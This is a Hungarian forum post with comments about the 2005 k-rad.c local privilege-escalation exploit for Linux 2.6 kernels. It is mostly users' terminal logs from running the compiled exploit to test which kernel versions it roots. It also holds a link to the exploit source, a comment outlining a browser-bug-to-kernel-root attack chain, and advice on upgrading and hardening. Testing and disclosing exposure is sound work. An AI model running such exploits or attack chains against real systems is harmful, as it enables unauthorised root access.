Ismert exploit a 2.6-os Linux kernelekhez - ajánlott frissíteni!

Címkék

Az LKML-en olvasható egy levél, amelyben a küldője arról számol be, hogy 2.6-os kernelt futtató gépeket törtek meg az éjjel egy olyan binárissal, amelyet a krad-no-longer-private.c forrásból forgattak.

A bináris az alábbi üzenetet írja ki:

k-rad.c - linux 2.6.* CPL 0 kernel exploit

Discovered Jan 2005 by sd

Nekem kb. 10 másodperc volt megtalálni, letölteni a forrást és leforgatni a binárist.



Részlet a forráskódból:



/*

* k-rad.c - linux 2.6.11 and below CPL 0 kernel exploit v2


Az eredmény:(2100MHz 56C) trey@alderaan:~ $ uname -a

Linux alderaan 2.6.10-ac8 #2 Sun Jan 16 18:05:40 CET 2005 i686 GNU/Linux

(2100MHz 55C) trey@alderaan:~ $ ./a.out 1

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 1 pages

[+] j00 1u(k7 k1d!

dircolors: no SHELL environment variable, and no shell type option given

(2100MHz 55C) root@alderaan:/home/trey $

(1500MHz 51C) trey@alderaan:~ $ uname -a

Linux alderaan 2.6.11.6 #1 Sat Mar 26 12:01:18 CET 2005 i686 GNU/Linux

(1200MHz 52C) trey@alderaan:~ $ ./a.out --help

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[-] Use: ./a.out [number of pages]

Increase from 1 to 5, use negative number for pae (from -1 to -5).

The higher number the more likely it will crash

(900MHz 52C) trey@alderaan:~ $ ./a.out 1

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 1 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

(2400MHz 52C) trey@alderaan:~ $ ./a.out 2

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 2 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

(2400MHz 54C) trey@alderaan:~ $ ./a.out 3

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 3 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

(2400MHz 53C) trey@alderaan:~ $ ./a.out 4

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 4 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

(2400MHz 53C) trey@alderaan:~ $ ./a.out 5

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 5 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

(2100MHz 53C) trey@alderaan:~ $



Minden bizonnyal érdemes frissíteni minimum a 2.6.11.6-ra! A 2.6.10-ac8 és a 2.6.11.6 közötti kerneleket nem próbáltam. A nálam jelenleg futó 2.6.12-rc1 nem sebezhető!

Hozzászólások

wooh@chloe wooh $ uname -a

Linux chloe 2.6.10 #7 SMP Sat Mar 5 11:42:58 CET 2005 i686 Genuine Intel(R) CPU 2.80GHz GenuineIntel GNU/Linux

wooh@chloe wooh $ ./a.out 1

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 1 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

wooh@chloe wooh $ ./a.out 2

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 2 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

wooh@chloe wooh $ ./a.out 3

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 3 pages

[+] j00 1u(k7 k1d!

k-rad#

Meg jo, hogy nem hasznalok Linuxot serverekre. :)

Viszont ehhez hozzáférés kell a szerverhez, azaz legalább egy shell :-)

soniq@hu01ssql02:~$ gcc krad.c -o krad

soniq@hu01ssql02:~$ uname -a

Linux hu01ssql02 2.6.11-ac4 #1 Thu Mar 17 08:37:40 CET 2005 i686 GNU/Linux

soniq@hu01ssql02:~$ ./krad

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[+] j00 1u(k7 k1d!

hu01ssql02:/home/soniq# whoami

root

Linux x 2.6.11.4 #1 SMP Fri Mar 18 00:25:03 CET 2005 i686 GNU/Linux

jz@x:~$ ./krad

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

jz@x:~$ ./krad 2

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 2 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

jz@x:~$ ./krad 3

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[*] Overwriting 3 pages

[-] y3r 422 12 n07 3r337 3nuPh!

[*] Try increase nrpages?

ime az ac7:

soniq@hu01ssql02:~$ uname -a

Linux hu01ssql02 2.6.11-ac7 #1 Tue Apr 12 13:58:02 CEST 2005 i686 GNU/Linux

soniq@hu01ssql02:~$ ./krad

[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]

[ Discovered Jan 2005 by sd ]

[+] j00 1u(k7 k1d!

josephus@wraith:~ $ uname -a
Linux wraith 2.6.11-grsec #1 Wed Mar 9 01:09:48 CET 2005 i686 GNU/Linux
josephus@wraith:~ $ ./krad
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 1
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 1 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 2
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 2 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 3
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 3 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 4
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 4 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 5
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 5 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad 6
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 6 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad -1
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 1 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad -2
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 2 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad -3
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 3 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad -4
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 4 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?
josephus@wraith:~ $ ./krad -5
[ k-rad.c - linux 2.6.* CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd <sd@fucksheep.org> ]
[*] Overwriting 5 pages
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?

aki vanilla kernelt hasznal az megerdemli :)

3 hetes a hir

http://www.frsirt.com/exploits/20050322.k-rad.c.php

Hi!

2.6.11-cko2 kernel kibirja.

By(t)e

TBS::Antiemes

2.6.11 vanilla

gyere, szerezd meg ip-m, juss at iptables-omon (ajjaj), szerezz shellt (hudesok okbol kifolyolag nehez dolgod lesz :) ), aztan talald meg az en gepem es azon is szerezz shellt. varj adok egy tippet, gyere ipv6-on inkabb es akkor a gateway felnyomasat meguszod. ;)

hat az biztos, mindig volt/van/lesz, de eleg specifikalt helyzetben tudod csak kihasznalni egyreszt,( masreszt javitjak). tehat ezek nem olyanok, hogy na droppollak, aztan kuldesz egy jolatirt csomagot es viola barmit at tudsz kuldeni rajta. alatalaban egy ilyen bug kb a rendszerek 0.01%-at erinti es ott is csak bizonyos esetekben es ott is csak egy mittomen milyen csomagfajtabol at tudsz kuldeni tobbet, jobbat szebbet, amivel a legtobb esetben nem kezdesz semmit. legdurvabb meg ha monjduk at tudjak irni a rule-okat, de ilyen durva dolgok csak akkor fordulhatnak elo, ha mar alapbol van joga vmelyik portra kapcsolodni. tehat egy akarki, aki semmilyen portra, semmyilyen ott futo serveren, semmilyen joga nincs az nem fog tudni mit kezdeni.

rossz helyen kapisgalsz. te vagy a kliens, mondjuk egy standard natolos box mogott. raboksz egy url-re, amit itt latsz a hupon. a lassan szokasos libpng|libjpeg|kedvenc-browser bugon at gyakorlatilag mar user joguk van, onnan meg mar jon a visszacsatlakozas (irc, masik http server, etc) + taviranyitas. innentol a kihasznalhato kernel exploitra mar csak varni kell.

apro otletek, aki raszanja az energiat, annak:

- mindig szurd a kifele meno forgalmadat is

- zard sandboxba a browseredet/muadat/irc kliensedet

Meg jo hogy nem hasznalok 2.6ot :) 2.4 rulz :) es meg jo hogy nem hagyom egyik usernek se hogy sajat binarisokat futtasson :))

a helyzet, hogy amirol te beszelsz, az egy passziv modja a tamadasnak es NEM celzott gepek ellen, marpedig most pontosan errol volt szo, hogyha tudja, hogy nalam sebezheto kernel van akkor mit tesz.

masreszrol magad mondtad hogy hogy lehet vedekezni! en pedig pontosan errol beszeltem, messze nem eleg az hogy teszem azt nem frissitettem a kernelt. es itt megjegyeznem, hogy folsorolhatsz meg akarhany technikat, amit nem emlitettem, az sem fog ezen a tenyen valtoztatni, nincs "rossz helyen kapisgalas" viszont van sok modszer....

A passziv-nem passziv temahoz:

korul lehet jarni az erdeklodesi korodet (hozzaszolasok alapjan), becsempeszni egy jopofa linket, a hupos ip-hash alapjan csak a megfelelo ip-re kezbesiteni a szeretetcsomagot. (egyebkent mas modon is kideritheto a kurrens ip-d) a lebukas eselye minimalis, megis celzott a tamadas. ha nem csak n+1. gepet akarnak gyujteni ugrohostnak, akkor ugyis koruljarjak a gyenge pontjait a rendszerednek.

demozni nem fogok, mert ahhoz en keves vagyok, de elkepzelesem attol meg lehet a dologrol. az ebbol elo emberkek meg nyilvan jol mulatnak :)

ez igy van, de az mar csak az en hibam, hogy te korul tudod jarni erted. ezzel az erovel megprobalhatod megkerdezni root passomat is hatha megadom. es itt most az ip szerzes a legkevesebb. ja es nem arrol beszelunk hogy be lehet e torni, mert "midnenhova" be lehet, csak skill kell hozza imho.

ha en tudom, hogy olyan gepet hasznalok amin direkt nem frissitem egy ilyen utan a kernelt, akkor nyilvan paranoia beallitasokkal megyek, ilyen aktiv oldalakra meg valtozo proxyval, paranoia browser beallitasokkal stb. itt most csak arrol van szo, es vegig errol beszeltem, hogy nem igaz ez az "aki vanilla kernelt hasznal annak ugy kell" mondat, ki lehet kerulni mindent. persze meg is.

Ubuntu 5.04 : The Hoary Hedgehog

Linux ub 2.6.10-5-k7 #1 Tue Apr 5 12:56:05 UTC 2005 i686 GNU/Linux

nem eszi meg

vanilla:

soniq@drone:~$ ./csibesz

Hello Anyu, szerepelek a Gentoo-threadben!

soniq@drone:~$ cp ./csibesz /tmp

soniq@drone:~$ /tmp/csibesz

-su: /tmp/csibesz: Hozzáférés megtagadva

soniq@drone:~$ /lib/ld-linux.so.2 /tmp/csibesz

/tmp/csibesz: error while loading shared libraries: /tmp/csibesz: failed to map segment from shared object: Operation not permitted

madman@eliza:~$ cat p.c

#include

int main()

{

printf("Hello World!");

return 0;

}

madman@eliza:~$ gcc p.c -o p

madman@eliza:~$ /lib/ld-2.2.5.so ./p

Segmentation fault

madman@eliza:~$

eliza:/var/log# tail kern.log

Apr 12 23:55:06 eliza kernel: grsec: From xx.xx.xx.xx: (madman:U:/) denied load of writable library /home/madman/p by /lib/ld-2.2.5.so[ld-2.2.5.so:5858] uid/euid:1000/1000 gid/egid:1000/1000, parent /bin/bash[bash:29410] uid/euid:1000/1000 gid/egid:1000/1000

Apr 12 23:55:06 eliza kernel: grsec: From xx.xx.xx.xx: (madman:U:/) signal 11 sent to /lib/ld-2.2.5.so[ld-2.2.5.so:5858] uid/euid:1000/1000 gid/egid:1000/1000, parent /bin/bash[bash:29410] uid/euid:1000/1000 gid/egid:1000/1000

Persze ha nem csalok most egy picit akkor eleve le se tudtam volna forgatni gccvel mer az is tiltva van, dehat forgatott cuccot is hozhat barki igy ez annyira nem erdekes, inkabb az hogy azzal is igy jarna.